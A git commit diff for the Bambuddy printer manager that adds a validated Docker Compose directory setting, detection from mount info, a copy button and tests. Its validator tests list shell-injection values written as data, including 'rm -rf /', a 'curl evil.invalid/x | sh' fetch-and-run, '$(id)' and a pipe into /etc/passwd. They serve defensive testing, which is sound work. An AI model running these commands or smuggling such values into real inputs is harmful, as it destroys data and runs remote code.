Show the compose directory in the Docker update command (#2664)

The printed command only works from the directory holding the compose
file, which is the thing the user came to the page not knowing. Adds a
copy button, a saved Compose directory setting, BAMBUDDY_COMPOSE_DIR,
and best-effort detection from a bind mount's host path.

Compose records the directory on every container it creates, but reading
that label needs the Docker socket mounted in — root-equivalent access
for a convenience string. The mountinfo guess is a prefill only: its root
field is relative to the mounted device, so a compose dir on its own
mount loses that prefix, and nothing in the container can detect it.

The field is restricted to path characters. It is the one setting whose
purpose is to be pasted into a root shell, so "/opt/bambuddy; rm -rf /"
would otherwise render as a plausible update command.
This commit is contained in:
maziggy 2026-08-03 15:12:02 +02:00
parent a08d3e62f3
commit 689f5276e4
28 changed files with 720 additions and 174 deletions

View file

@ -18,6 +18,7 @@ All notable changes to Bambuddy will be documented in this file.
- **Git backup now actually writes cloud profiles (#2717, reporter @jmoore-skild)** — Enabling **Cloud Profiles** for a Git backup produced nothing. The collector looked for a `setting` list in the Bambu Cloud response, which is keyed by preset type instead, so the loop never ran once — and it asked for the credential store used when authentication is *disabled*, so on any install with authentication on it found no account to collect from in the first place. Neither failure was visible: `backup_metadata.json` still recorded `cloud_profiles: true`, and the log line read `Collected cloud profiles: 0 filament, 0 printer, 0 process`, which looks like a successful backup of an empty account. Cloud profiles are now collected from **every connected account across both Bambu Cloud and Orca Cloud**, one directory per cloud per account, keyed by user ID so no email address is written into a backup repository. Bambu presets are stored with the payload needed to recreate them rather than just their names, and Bambu's bundled public catalogue is skipped — it is identical for everyone, re-downloadable, and would rewrite the repository on every run. The metadata now records what was actually collected, per cloud and per account, and a run that collects nothing while the category is enabled says so as a warning instead of an INFO line that reads like success. The Cloud Profiles checkbox no longer keys off your own Bambu sign-in — it enables when *any* account is connected and shows how many are in scope, which matters on a multi-user install where the presets being backed up are other people's. A backup also no longer disconnects an Orca Cloud account whose session it can't refresh: Orca reports every rejection with one composite reason, so a genuine revocation is indistinguishable from a lost token-rotation race, and an unattended job should not be the thing that guesses. The account is skipped with a warning, and the dead credentials are cleared the next time you open Orca Cloud Profiles — where you can pair again on the spot. Translated in all locales; wiki updated. Covered by backend tests.
### Added
- **The Docker update command is copyable, and knows where your compose file lives (#2664, reporter @pchulpjoost)** — Settings → Updates told Docker users to run `docker compose pull && docker compose up -d`, a command that does nothing unless you are already standing in the directory holding your compose file — which is exactly what you came to the page not knowing. There is now a copy button beside it, and the command includes the `cd` when Bambuddy knows where to send you. It can work that out on its own only when you bind-mount a subdirectory of that folder (`./data:/app/data` gives it away); the shipped compose file uses named volumes, which resolve to a path under Docker's own storage and say nothing about where your file is. Compose does record the answer on every container it creates, but reading it back needs the Docker socket mounted into Bambuddy — root-equivalent access to your host in exchange for a convenience string, which is not a trade worth offering. So there is a **Compose directory** field in the same panel, saved with the rest of your settings, and a `BAMBUDDY_COMPOSE_DIR` variable in the compose file for anyone who would rather keep it there. Leave it empty and the command is printed without the `cd`, rather than with a guessed path that fails on paste. The field accepts path characters only: it is the one setting whose whole purpose is to be pasted into a root-capable terminal, so a value like `/opt/bambuddy; rm -rf /` would otherwise render as a perfectly plausible update command. Translated in all locales; wiki updated. Covered by backend and frontend tests.
- **The Print Log shows how much filament a run used, and lets you choose its columns (#2636, reporter @ajbastien)** — The log view listed which filament a print used — a colour dot and "PLA" — but never how much, which is the number you actually want when reading back a month of prints. The amount was already on every row the API returned; the table was simply hardcoded to seven columns. **Filament Used** now has a column of its own, on by default. **Cost**, **Energy**, **Energy Cost** and **Finished** join it as columns you can switch on via a new **Columns** picker above the table, which also reorders them by drag or arrow keys and remembers the layout per browser. Every column header now sorts, too — click to sort, click again to reverse, with dates and amounts opening largest-first and text A-Z. The sort runs over the whole log rather than the page on screen, since a table that pages server-side would otherwise answer "the most expensive print among these 25"; changing it returns you to page 1, and rows with nothing in the sorted column are held at the end in both directions so sorting by cost or energy never opens on a screenful of blanks. That last part is explicit rather than left to the database: Postgres sorts empties high and SQLite sorts them low, so the same click would otherwise land differently depending on which one you deployed. These are per-run figures rather than the file's estimate: a print that failed part-way is scaled to the progress it reached, tracked spools win over estimates, and a multi-plate project dispatched a plate at a time counts only the plate that ran — so a row can legitimately differ from the whole-file total on the archive card. Energy arrives from a background task a moment after the print ends, so a just-finished run shows a dash until the measurement lands, which is the honest answer rather than a zero. Note the per-archive **Print Log** button opens a different, smaller table that has shown grams all along; this brings the two into agreement. Translated in all locales; wiki updated. Covered by frontend tests.
- **Auto-orient and auto-arrange when slicing server-side (#2548, reporter @ceokingcobra)** — A slice in Bambuddy always kept the placement the file arrived with, so several parts dropped onto one plate could come back overlapping, and a model resting on a face that needs supports stayed on it. Bambu Studio's two layout buttons simply had no counterpart here. Two checkboxes below the build-plate override now run the same passes before the slice: **Auto-orient objects** turns each object onto the side that prints best — the slicer scores candidate rotations on overhang area, contour and unprintability, and a test part here came out 8% faster with nothing else changed — and **Auto-arrange on the plate** lays the objects out so they no longer overlap, which is also the fix for a source file whose coordinates fall off the edge of a smaller target bed. Both are per-slice and off by default, and neither is stored on a preset or a pipeline: they rewrite placement an author may have chosen deliberately, so they are something you ask for rather than something that happens to you. They stay available on the "Slice as designed" path, unlike the preset dropdowns and bed type — these act on the geometry rather than the print config, so where the settings came from is irrelevant to them — and they carry across the automatic retry that falls back to a file's embedded settings after a slicer crash, which would otherwise hand back an un-arranged result you had in fact asked for. Arrange is project-wide inside the slicer, so pairing it with **Slice all plates** would collapse every plate's objects onto a single bed; Bambuddy takes the same per-plate loop it already used for cross-class re-slices and merges the outputs, since that hazard belongs to the flag and not to the one case that first ran into it — including on the "Slice as designed" path, and with the crash-retry suppressed there, because a retry is a single call that would have handed back one consolidated plate for a job you asked to slice as several. Orient needs no such handling — it rotates objects where they stand and never moves one between plates. A cross-class re-slice still arranges whether or not the box is ticked, because that pass is what keeps it clear of the H2D's per-nozzle dead zones. An unticked box is sent by leaving the field off the request entirely: the sidecar treats any value that is present as true, so a literal "false" would have auto-arranged every slice in Bambuddy. Translated in all locales; wiki updated. Covered by backend and frontend tests.
- **One queue item, several printer models — whichever frees up first (#671, reporter @brainomite; also delivers most of #2570, reporter @NeighborGeek)** — With an H2S and an H2C, a job you don't care which machine runs still had to be queued twice: the two printers need different slices, a queue item held exactly one file, and "any H2S" and "any H2C" were separate jobs competing for the same plastic. Whichever started first, you deleted the other by hand. Select both sliced files in the File Manager and press **Print** and you now get **one** queue item carrying both — the scheduler walks them in the order you arranged and takes the first whose model has an idle printer. The many-to-many never leaves the scheduler's selection loop: the moment a candidate wins, its file, plate and nozzle mapping are folded onto the queue row, so the upload, archive creation, print history and reprint all see an ordinary single-file job and behave exactly as they always have. Order is yours to set, because "both are free right now" has to resolve the same way every time rather than following whichever match the matcher happened to see first. Candidates are otherwise tried least-attempted first, so a printer that accepts the file and never starts hands the job to the other machine on the next lap instead of spending the item's whole retry budget on the one that is wedged. The set is validated as a set: one file per printer model (two slices for the same machine are not alternatives, and picking between them arbitrarily would look like a bug the first time it chose your draft profile), every file gated against the model it is offered as, and at least one model that actually has a printer — grouping the H2C slice before the H2C arrives is fine, queueing a job nothing can ever run is not. A cross-model item deliberately holds no file of its own, so deleting one alternative leaves the job and its sibling intact; deleting or trashing every candidate holds it with an explanation instead of failing deep in the upload. Filament overrides offer everything loaded across **all** the candidate models rather than just the first — a spool loaded on only one of them is still a legitimate choice, it simply narrows which candidates can match — while AMS slot mapping is absent exactly as it is on an ordinary "Any [model]" job, because no printer has been picked yet and the scheduler derives the mapping against whichever one it takes. In the queue the job reads **Any H2D / X1C**, naming every model it is waiting on rather than filing itself under one it may never run on, and its waiting reason is given per model (`H2D: Busy: H2D-1; X1C: No matching material/color`), collapsing to a plain busy message — and no notification — when every model is merely printing. The alternatives are fixed once queued: the schedule, quantity and print options stay editable, but assigning a specific printer or narrowing to one model is refused by both the dialog and the API, since an item holding alternatives *and* a printer would dispatch down the fixed-printer path with no file to send. Cancel and re-queue to change the set. Files can also be grouped permanently with **Group as versions**, after which printing any one of them offers the others without re-selecting — this is the grouping and the print-time file matching asked for in #2570, minus its nested File Manager listing. An existing library arrives with its groups already built, from slice provenance Bambuddy has been recording since the Slice button shipped and had never read back. Translated in all locales; wiki updated. Covered by backend and frontend tests.

View file

@ -110,6 +110,84 @@ def _is_docker_environment() -> bool:
return False
# Mount points the shipped compose file gives Bambuddy. Only these are
# consulted when guessing the compose directory — an arbitrary bind mount
# (a NAS share, an external library root) says nothing about where the
# compose file lives.
_COMPOSE_BIND_MOUNTPOINTS = ("/app/data", "/app/logs")
# A named volume resolves to ``.../docker/volumes/<project>_bambuddy_data/_data``
# in mountinfo. That names the compose *project* but reveals nothing about
# the directory holding the compose file, so these entries are skipped.
_DOCKER_NAMED_VOLUME_ROOT = re.compile(r"/docker/volumes/[^/]+/_data/?$")
def _compose_dir_from_mountinfo() -> str | None:
"""Guess the host directory holding the compose file, or None (#2664).
``docker compose pull`` only works from the directory containing the
compose file, so the command the update box prints is unusable until the
user remembers where that is. Compose knows the answer it stamps
``com.docker.compose.project.working_dir`` onto every container it
creates but reading your own labels requires the Docker socket, and
mounting that into Bambuddy would hand the container root-equivalent
access to the host in exchange for a convenience string. So we infer.
``/proc/self/mountinfo`` exposes the *host* side of a bind mount in its
root field: a ``./data:/app/data`` line in the compose file surfaces as
``/opt/bambuddy/data``, whose parent is the compose directory. The leaf
must match the mount point's own name before we take the parent —
``/mnt/nas/prints:/app/data`` is a bind mount whose parent is emphatically
not a compose directory.
This is a guess and is treated as one it only ever prefills the setting
the user can overwrite. The root field is relative to the *mounted device*
rather than to the host's ``/``, so a compose directory that sits under a
separate mount loses that mount's own prefix. Measured against real
containers: a compose file on the root filesystem (here a ZFS dataset
mounted at ``/``) came back exactly right, while one under ``/tmp`` its
own tmpfs inferred ``/claude-1001/...`` for ``/tmp/claude-1001/...``.
Nothing inside the container can tell the two apart, which is precisely
why the field is editable. The shipped compose file uses named volumes,
for which nothing is inferable at all.
"""
try:
with open("/proc/self/mountinfo") as f:
lines = f.readlines()
except OSError:
return None
for line in lines:
parts = line.split()
# mountID parentID major:minor root mountPoint ...
if len(parts) < 5:
continue
root, mount_point = parts[3], parts[4]
if mount_point not in _COMPOSE_BIND_MOUNTPOINTS:
continue
if _DOCKER_NAMED_VOLUME_ROOT.search(root):
continue
parent, _, leaf = root.rstrip("/").rpartition("/")
if parent and leaf == mount_point.rsplit("/", 1)[-1]:
return parent
return None
def _detect_compose_dir() -> str | None:
"""Best-effort compose directory for the update instructions (#2664).
``BAMBUDDY_COMPOSE_DIR`` wins when set it is the only source that is
stated rather than inferred, and the shipped compose file carries a
commented ``${PWD}`` line for it.
"""
env_dir = os.environ.get("BAMBUDDY_COMPOSE_DIR", "").strip()
if env_dir:
return env_dir
if not _is_docker_environment():
return None
return _compose_dir_from_mountinfo()
def _is_ha_addon() -> bool:
"""Detect if running as a Home Assistant Supervisor addon.
@ -527,6 +605,11 @@ async def check_for_updates(
"is_windows_installer": is_windows_installer,
"update_method": update_method,
"installer_download_url": installer_download_url,
# Prefill only — never the value the user saved. The settings
# response owns ``docker_compose_dir``; keeping the two apart
# means clearing the field falls back to the guess instead of
# resurrecting the cleared value from a stale update check.
"compose_dir_detected": _detect_compose_dir() if update_method == "docker" else None,
}
except httpx.HTTPError as e:

View file

@ -1,4 +1,5 @@
import json
import re
from pydantic import BaseModel, Field, ValidationInfo, field_validator
@ -19,6 +20,18 @@ from backend.app.utils.printer_models import MAX_CHAMBER_TEMP_C
# must be reachable on the public internet, on the stricter OIDC guard).
LAN_SERVICE_URL_SETTINGS = ("ha_url", "obico_ml_url", "orcaslicer_api_url", "bambu_studio_api_url")
# ``docker_compose_dir`` is unusual among the string settings: it is not
# consumed by Bambuddy at all, it is interpolated into a shell command that
# the Settings page invites the user to copy and paste into a root-capable
# terminal (#2664). A value like ``/opt/bambuddy; rm -rf /`` would render as a
# perfectly plausible-looking update command, so anyone with settings:update
# could hand every admin a destructive one-liner to run. Restricting the field
# to characters that occur in real paths removes that entirely; the frontend
# double-quotes the value when it contains a space, which is safe precisely
# because quotes, ``$`` and backticks cannot survive this pattern.
_COMPOSE_DIR_ALLOWED = re.compile(r"^[\w \-./\\:~]+$", re.UNICODE)
_COMPOSE_DIR_MAX_LEN = 512
class AppSettings(BaseModel):
"""Application settings schema."""
@ -220,6 +233,14 @@ class AppSettings(BaseModel):
default="", description="External URL where Bambuddy is accessible (for notification images)"
)
# Directory holding the user's docker-compose.yml, shown in the update
# instructions so the printed command can be pasted from anywhere (#2664).
# Empty means "omit the cd" — which is also the correct rendering when
# nothing could be detected, rather than guessing a path that fails.
docker_compose_dir: str = Field(
default="", description="Host directory containing docker-compose.yml, used in the update instructions"
)
# Home Assistant integration for smart plug control
ha_enabled: bool = Field(default=False, description="Enable Home Assistant integration for smart plug control")
ha_url: str = Field(default="", description="Home Assistant URL (e.g., http://192.168.1.100:8123)")
@ -588,6 +609,7 @@ class AppSettingsUpdate(BaseModel):
mqtt_topic_prefix: str | None = None
mqtt_use_tls: bool | None = None
external_url: str | None = None
docker_compose_dir: str | None = None
ha_enabled: bool | None = None
ha_url: str | None = None
ha_token: str | None = None
@ -691,6 +713,36 @@ class AppSettingsUpdate(BaseModel):
raise ValueError(str(exc)) from exc
return v
@field_validator("docker_compose_dir")
@classmethod
def validate_docker_compose_dir(cls, v: str | None) -> str | None:
"""Keep the copy-and-paste update command free of shell injection (#2664).
Validated on the write path only. Doing it on ``AppSettings`` as well
would mean a single bad row however it got there 500s the entire
settings GET and takes the app down with it, which is a worse outcome
than rendering a string that has to be pasted into a shell by hand to
do anything at all.
"""
if v is None or not v.strip():
return v
candidate = v.strip()
if len(candidate) > _COMPOSE_DIR_MAX_LEN:
raise ValueError(f"Compose directory must be at most {_COMPOSE_DIR_MAX_LEN} characters")
if not _COMPOSE_DIR_ALLOWED.match(candidate):
raise ValueError(
"Compose directory may only contain path characters (letters, digits, space, and - _ . / \\ : ~)"
)
# A trailing backslash is the one survivor that would still break the
# frontend's double-quoting: `cd "/opt/bam buddy\"` escapes the closing
# quote and swallows the rest of the line. Harmless (the shell just
# waits for a terminator rather than running anything) but the user
# would be left staring at a continuation prompt, so refuse it here
# instead of shipping a command that cannot work.
if candidate.endswith("\\"):
raise ValueError("Compose directory must not end with a backslash")
return candidate
@field_validator("gcode_snippets")
@classmethod
def validate_gcode_snippets(cls, v: str | None) -> str | None:

View file

@ -1,7 +1,7 @@
"""Integration tests for Updates API endpoints."""
from pathlib import Path
from unittest.mock import AsyncMock, MagicMock, patch
from unittest.mock import AsyncMock, MagicMock, mock_open, patch
import pytest
from httpx import AsyncClient
@ -796,3 +796,143 @@ class TestUpdatesAPI:
assert body["update_method"] == "windows_installer"
assert body["is_windows_installer"] is True
assert body["installer_download_url"].endswith("bambuddy-999.9.9-windows-x64-setup.exe")
# --- Compose directory detection (#2664, reporter pchulpjoost) ---
# `docker compose pull` only works from the directory holding the compose
# file, so the update box's command was unusable until the user remembered
# where that was. Compose stamps the answer onto every container it
# creates, but reading your own labels needs the Docker socket — a
# root-equivalent mount, not worth it for a convenience string. So the
# host side of a bind mount in /proc/self/mountinfo is inferred instead.
def _mountinfo(self, *lines: str):
"""Patch /proc/self/mountinfo with the given raw lines."""
return patch("builtins.open", mock_open(read_data="".join(f"{line}\n" for line in lines)))
def test_compose_dir_inferred_from_bind_mount(self):
"""`./data:/app/data` surfaces as the host path; its parent is the
compose directory."""
from backend.app.api.routes.updates import _compose_dir_from_mountinfo
with self._mountinfo(
"2244 1668 0:137 / / rw,relatime - overlay overlay rw,lowerdir=/x",
"1437 2244 0:48 /opt/bambuddy/data /app/data rw,relatime - ext4 /dev/sda1 rw",
):
assert _compose_dir_from_mountinfo() == "/opt/bambuddy"
def test_compose_dir_none_for_named_volume(self):
"""The shipped compose file uses named volumes, which resolve to
/var/lib/docker/volumes/<project>_bambuddy_data/_data. That names the
compose *project* and reveals nothing about where the file lives, so
the correct answer is "don't know" rather than a plausible guess."""
from backend.app.api.routes.updates import _compose_dir_from_mountinfo
with self._mountinfo(
"1290 2246 0:65 /var/lib/docker/volumes/bambuddy_bambuddy_data/_data /app/data rw - ext4 /dev/sda1 rw",
):
assert _compose_dir_from_mountinfo() is None
def test_compose_dir_none_for_relocated_bind_mount(self):
"""`/mnt/nas/prints:/app/data` is a perfectly ordinary bind mount whose
parent is emphatically not a compose directory. The leaf must match the
mount point's own name before the parent is trusted."""
from backend.app.api.routes.updates import _compose_dir_from_mountinfo
with self._mountinfo(
"1437 2244 0:48 /mnt/nas/prints /app/data rw,relatime - nfs4 nas:/prints rw",
):
assert _compose_dir_from_mountinfo() is None
def test_compose_dir_falls_back_to_logs_mount(self):
"""A user who bind-mounts only ./logs still gets the directory."""
from backend.app.api.routes.updates import _compose_dir_from_mountinfo
with self._mountinfo(
"1290 2246 0:65 /var/lib/docker/volumes/bambuddy_bambuddy_data/_data /app/data rw - ext4 /dev/sda1 rw",
"1441 2244 0:48 /srv/bambuddy/logs /app/logs rw,relatime - ext4 /dev/sda1 rw",
):
assert _compose_dir_from_mountinfo() == "/srv/bambuddy"
def test_compose_dir_none_without_mountinfo(self):
"""Windows and macOS have no /proc; the guess simply doesn't happen."""
from backend.app.api.routes.updates import _compose_dir_from_mountinfo
with patch("builtins.open", side_effect=FileNotFoundError):
assert _compose_dir_from_mountinfo() is None
def test_detect_compose_dir_prefers_env_var(self):
"""BAMBUDDY_COMPOSE_DIR is stated rather than inferred, so it wins over
a mountinfo guess that would otherwise point somewhere else."""
from backend.app.api.routes import updates as updates_module
with (
patch.dict("os.environ", {"BAMBUDDY_COMPOSE_DIR": "/srv/stacks/bambuddy"}),
patch.object(updates_module, "_compose_dir_from_mountinfo", return_value="/opt/wrong"),
):
assert updates_module._detect_compose_dir() == "/srv/stacks/bambuddy"
def test_detect_compose_dir_skips_mountinfo_outside_docker(self):
"""A native install has no compose file; mountinfo would still show
bind mounts on a host that happens to run other containers."""
from backend.app.api.routes import updates as updates_module
with (
patch.dict("os.environ", {"BAMBUDDY_COMPOSE_DIR": ""}),
patch.object(updates_module, "_is_docker_environment", return_value=False),
patch.object(updates_module, "_compose_dir_from_mountinfo", return_value="/opt/wrong"),
):
assert updates_module._detect_compose_dir() is None
@pytest.mark.asyncio
async def test_check_surfaces_compose_dir_only_for_docker(self, async_client: AsyncClient):
"""The prefill rides along with the Docker branch. A git install must
not receive one there is no compose file to cd into."""
import httpx as _httpx
fake_release = {
"tag_name": "v999.9.9",
"name": "Far Future Release",
"body": "",
"html_url": "https://example.invalid/r",
"published_at": "2099-01-01T00:00:00Z",
}
class _Resp:
status_code = 200
def raise_for_status(self):
return None
def json(self):
return [fake_release]
class _FakeClient:
async def __aenter__(self):
return self
async def __aexit__(self, *_):
return None
async def get(self, *_, **__):
return _Resp()
with (
patch.object(_httpx, "AsyncClient", _FakeClient),
patch("backend.app.api.routes.updates._is_ha_addon", return_value=False),
patch("backend.app.api.routes.updates._is_docker_environment", return_value=True),
patch("backend.app.api.routes.updates._detect_compose_dir", return_value="/opt/bambuddy"),
):
body = (await async_client.get("/api/v1/updates/check")).json()
assert body["update_method"] == "docker"
assert body["compose_dir_detected"] == "/opt/bambuddy"
with (
patch.object(_httpx, "AsyncClient", _FakeClient),
patch("backend.app.api.routes.updates._is_ha_addon", return_value=False),
patch("backend.app.api.routes.updates._is_docker_environment", return_value=False),
patch("backend.app.api.routes.updates._is_windows_installer_install", return_value=False),
patch("backend.app.api.routes.updates._detect_compose_dir", return_value="/opt/bambuddy"),
):
body = (await async_client.get("/api/v1/updates/check")).json()
assert body["update_method"] == "git"
assert body["compose_dir_detected"] is None

View file

@ -0,0 +1,77 @@
"""``docker_compose_dir`` validation (#2664, reporter pchulpjoost).
This setting is not consumed by Bambuddy at all it is interpolated into a
shell command that the Settings page invites the user to copy and paste into a
root-capable terminal. That inverts the usual threat model for a string
setting: the danger is not what the server does with the value, it is what the
*admin* does with it after the copy button hands it over. Anyone holding
settings:update could otherwise plant a destructive one-liner behind a control
whose whole purpose is "paste this into your shell".
"""
import pytest
from pydantic import ValidationError
from backend.app.schemas.settings import AppSettingsUpdate
class TestComposeDirValidation:
@pytest.mark.parametrize(
"value",
[
"/opt/bambuddy",
"/srv/stacks/bambu buddy", # spaces are legal; the frontend quotes them
"C:\\Users\\martin\\bambuddy",
"~/bambuddy",
"/home/martin/3D-Druck/bambuddy", # non-ASCII path components
"",
],
)
def test_accepts_real_paths(self, value: str):
assert AppSettingsUpdate(docker_compose_dir=value).docker_compose_dir == value.strip()
@pytest.mark.parametrize(
"value",
[
"/opt/bambuddy; rm -rf /",
"/opt/bambuddy && curl evil.invalid/x | sh",
"/opt/bambuddy`id`",
"/opt/bambuddy$(id)",
"/opt/bambuddy | tee /etc/passwd",
'/opt/bambuddy" && echo pwned && echo "',
"/opt/bambuddy\nrm -rf /",
],
)
def test_rejects_shell_metacharacters(self, value: str):
"""Every one of these renders as a plausible-looking update command
that does something else entirely when pasted."""
with pytest.raises(ValidationError):
AppSettingsUpdate(docker_compose_dir=value)
def test_rejects_absurd_length(self):
with pytest.raises(ValidationError):
AppSettingsUpdate(docker_compose_dir="/opt/" + "a" * 600)
def test_none_is_untouched(self):
"""None means "not part of this PATCH" — distinct from "" ("clear it")."""
assert AppSettingsUpdate().docker_compose_dir is None
@pytest.mark.parametrize("char", ['"', "$", "`"])
def test_characters_that_would_escape_the_frontend_quoting_are_rejected(self, char: str):
"""The frontend wraps a value containing a space in double quotes, which
is safe only because nothing that is special inside double quotes can
survive this validator. Pinned here so loosening the pattern without
revisiting the quoting fails loudly."""
with pytest.raises(ValidationError):
AppSettingsUpdate(docker_compose_dir=f"/opt/bam {char} buddy")
def test_trailing_backslash_rejected(self):
"""The last character that would still escape the closing quote:
`cd "/opt/bam buddy\\"` swallows the rest of the command."""
with pytest.raises(ValidationError):
AppSettingsUpdate(docker_compose_dir="C:\\bam buddy\\")
def test_windows_path_without_trailing_separator_survives(self):
assert AppSettingsUpdate(docker_compose_dir="C:\\Users\\martin\\bambuddy").docker_compose_dir == (
"C:\\Users\\martin\\bambuddy"
)

View file

@ -112,6 +112,13 @@ services:
# Port BamBuddy runs on (default: 8000)
# Usage: PORT=8080 docker compose up -d
- PORT=${PORT:-8000}
# Directory this compose file lives in, so Settings → Updates can print
# an update command you can paste from anywhere instead of one that only
# works if you are already in the right directory (#2664). Uncomment to
# have Compose fill it in from the shell you run `docker compose` in; the
# field is also editable in Settings if you would rather set it there or
# if you drive Compose with `-f` from elsewhere.
#- BAMBUDDY_COMPOSE_DIR=${PWD}
# Virtual printer: Set to the Docker host's IP when using bridge mode (ports:).
# Required for FTP passive mode to work behind NAT.
# Example: VIRTUAL_PRINTER_PASV_ADDRESS=192.168.1.100

View file

@ -497,10 +497,11 @@ describe('SettingsPage', () => {
// users never see the in-app Install button (which would no-op).
const renderWithUpdateCheck = async (
checkBody: Record<string, unknown>,
settingsOverrides: Record<string, unknown> = {},
) => {
server.use(
http.get('/api/v1/settings/', () =>
HttpResponse.json({ ...mockSettings, check_updates: true }),
HttpResponse.json({ ...mockSettings, check_updates: true, ...settingsOverrides }),
),
http.get('/api/v1/updates/check', () => HttpResponse.json(checkBody)),
);
@ -555,6 +556,80 @@ describe('SettingsPage', () => {
expect(screen.queryByRole('button', { name: /install update/i })).not.toBeInTheDocument();
});
// #2664: the bare command only works if the user is already standing in
// the directory holding their compose file, which is exactly the thing
// they came to the page not knowing.
const DOCKER_CHECK = {
update_available: true,
current_version: '0.2.4',
latest_version: '0.2.5',
release_name: '0.2.5',
release_notes: '',
release_url: 'https://example.invalid/r',
published_at: '2099-01-01T00:00:00Z',
is_docker: true,
is_ha_addon: false,
update_method: 'docker',
};
it('prefixes the command with cd when the backend detected a compose directory', async () => {
await renderWithUpdateCheck({ ...DOCKER_CHECK, compose_dir_detected: '/opt/bambuddy' });
await waitFor(() => {
expect(
screen.getByText('cd /opt/bambuddy && docker compose pull && docker compose up -d'),
).toBeInTheDocument();
});
});
it('prefers the saved directory over the detected one', async () => {
await renderWithUpdateCheck(
{ ...DOCKER_CHECK, compose_dir_detected: '/opt/guessed' },
{ docker_compose_dir: '/srv/stacks/bambuddy' },
);
await waitFor(() => {
expect(
screen.getByText('cd /srv/stacks/bambuddy && docker compose pull && docker compose up -d'),
).toBeInTheDocument();
});
expect(screen.queryByText(/\/opt\/guessed/)).not.toBeInTheDocument();
});
it('quotes a directory containing a space so the cd does not split', async () => {
await renderWithUpdateCheck(DOCKER_CHECK, { docker_compose_dir: '/srv/bambu buddy' });
await waitFor(() => {
expect(
screen.getByText('cd "/srv/bambu buddy" && docker compose pull && docker compose up -d'),
).toBeInTheDocument();
});
});
it('copies the full command including the cd', async () => {
const writeText = vi.fn().mockResolvedValue(undefined);
Object.defineProperty(navigator, 'clipboard', { value: { writeText }, configurable: true });
Object.defineProperty(window, 'isSecureContext', { value: true, configurable: true });
await renderWithUpdateCheck({ ...DOCKER_CHECK, compose_dir_detected: '/opt/bambuddy' });
const copy = await screen.findByRole('button', { name: /copy update command/i });
await userEvent.click(copy);
expect(writeText).toHaveBeenCalledWith(
'cd /opt/bambuddy && docker compose pull && docker compose up -d',
);
});
it('offers an editable compose directory field seeded with the detected path', async () => {
await renderWithUpdateCheck({ ...DOCKER_CHECK, compose_dir_detected: '/opt/bambuddy' });
const field = await screen.findByPlaceholderText('/opt/bambuddy');
// Placeholder, not value — the detected path is a guess the user has
// not accepted, so saving must not silently adopt it.
expect(field).toHaveValue('');
});
it('shows the installer-download link for Windows installer installs', async () => {
const downloadUrl =
'https://github.com/maziggy/bambuddy/releases/download/v0.2.5/bambuddy-0.2.5-windows-x64-setup.exe';

View file

@ -1260,6 +1260,8 @@ export interface AppSettings {
mqtt_use_tls: boolean;
// External URL for notifications
external_url: string;
// Directory holding docker-compose.yml, shown in the update instructions (#2664)
docker_compose_dir: string;
// Home Assistant integration
ha_enabled: boolean;
ha_url: string;
@ -3229,6 +3231,10 @@ export interface UpdateCheckResult {
is_windows_installer?: boolean;
update_method?: 'docker' | 'git' | 'ha_addon' | 'windows_installer';
installer_download_url?: string | null;
// Best-effort guess at the compose directory (#2664). Prefill only — the
// value the user saved lives on AppSettings.docker_compose_dir, so clearing
// that field falls back to this guess instead of resurrecting the old value.
compose_dir_detected?: string | null;
}
export interface UpdateStatus {

View file

@ -0,0 +1,72 @@
import { useState } from 'react';
import { useTranslation } from 'react-i18next';
import { Copy, Check } from 'lucide-react';
interface CopyButtonProps {
value: string;
/** i18n key for the resting tooltip. */
titleKey?: string;
/** i18n key for the tooltip while the tick is showing. */
copiedTitleKey?: string;
className?: string;
iconClassName?: string;
}
/**
* Copy-to-clipboard button with the plain-HTTP fallback (#1174).
*
* Lifted out of PrinterInfoModal when the Docker update instructions needed
* the same control (#2664). The fallback is the whole reason this is shared
* rather than re-written per call site: navigator.clipboard is gated behind
* the secure-context requirement, so on a LAN install reached over plain HTTP
* which is most Bambuddy installs the API is simply undefined, and a
* naive implementation swallows the failure with no tick and nothing copied.
*/
export function CopyButton({
value,
titleKey = 'printers.copyToClipboard',
copiedTitleKey = 'printers.copied',
className = 'ml-2 p-1 rounded hover:bg-bambu-dark-tertiary text-bambu-gray hover:text-white transition-colors',
iconClassName = 'w-3.5 h-3.5',
}: CopyButtonProps) {
const { t } = useTranslation();
const [copied, setCopied] = useState(false);
const handleCopy = async () => {
try {
if (navigator.clipboard && window.isSecureContext) {
await navigator.clipboard.writeText(value);
} else {
// Legacy execCommand path via an off-screen textarea, matching the
// pattern used by CameraTokensPage's plaintext-token modal.
const ta = document.createElement('textarea');
ta.value = value;
ta.style.position = 'fixed';
ta.style.opacity = '0';
document.body.appendChild(ta);
try {
ta.select();
const ok = document.execCommand('copy');
if (!ok) return;
} finally {
document.body.removeChild(ta);
}
}
setCopied(true);
setTimeout(() => setCopied(false), 2000);
} catch {
// Both paths failed (no clipboard API, no execCommand). Leave the icon
// unchanged so the user knows nothing was copied.
}
};
return (
<button
onClick={handleCopy}
className={className}
title={copied ? t(copiedTitleKey) : t(titleKey)}
>
{copied ? <Check className={`${iconClassName} text-bambu-green`} /> : <Copy className={iconClassName} />}
</button>
);
}

View file

@ -1,7 +1,8 @@
import { useState, useEffect } from 'react';
import { useEffect } from 'react';
import { useTranslation } from 'react-i18next';
import { X, Copy, Check, Signal, Cable } from 'lucide-react';
import { X, Signal, Cable } from 'lucide-react';
import { Card, CardContent } from './Card';
import { CopyButton } from './CopyButton';
import { formatDateOnly } from '../utils/date';
import { getPrinterImage, getWifiStrength } from '../utils/printer';
import type { Printer, PrinterStatus } from '../api/client';
@ -13,53 +14,6 @@ interface PrinterInfoModalProps {
onClose: () => void;
}
function CopyButton({ value }: { value: string }) {
const { t } = useTranslation();
const [copied, setCopied] = useState(false);
const handleCopy = async () => {
// navigator.clipboard is gated by the secure-context requirement, so on
// plain-HTTP LAN deployments (#1174) the API is undefined and the previous
// code silently swallowed the failure — the icon never flipped to the tick
// and nothing landed on the user's clipboard. Fall back to the legacy
// execCommand path via an off-screen textarea, matching the pattern used
// by CameraTokensPage's plaintext-token modal.
try {
if (navigator.clipboard && window.isSecureContext) {
await navigator.clipboard.writeText(value);
} else {
const ta = document.createElement('textarea');
ta.value = value;
ta.style.position = 'fixed';
ta.style.opacity = '0';
document.body.appendChild(ta);
try {
ta.select();
const ok = document.execCommand('copy');
if (!ok) return;
} finally {
document.body.removeChild(ta);
}
}
setCopied(true);
setTimeout(() => setCopied(false), 2000);
} catch {
// Both paths failed (no clipboard API, no execCommand). Leave the icon
// unchanged so the user knows nothing was copied.
}
};
return (
<button
onClick={handleCopy}
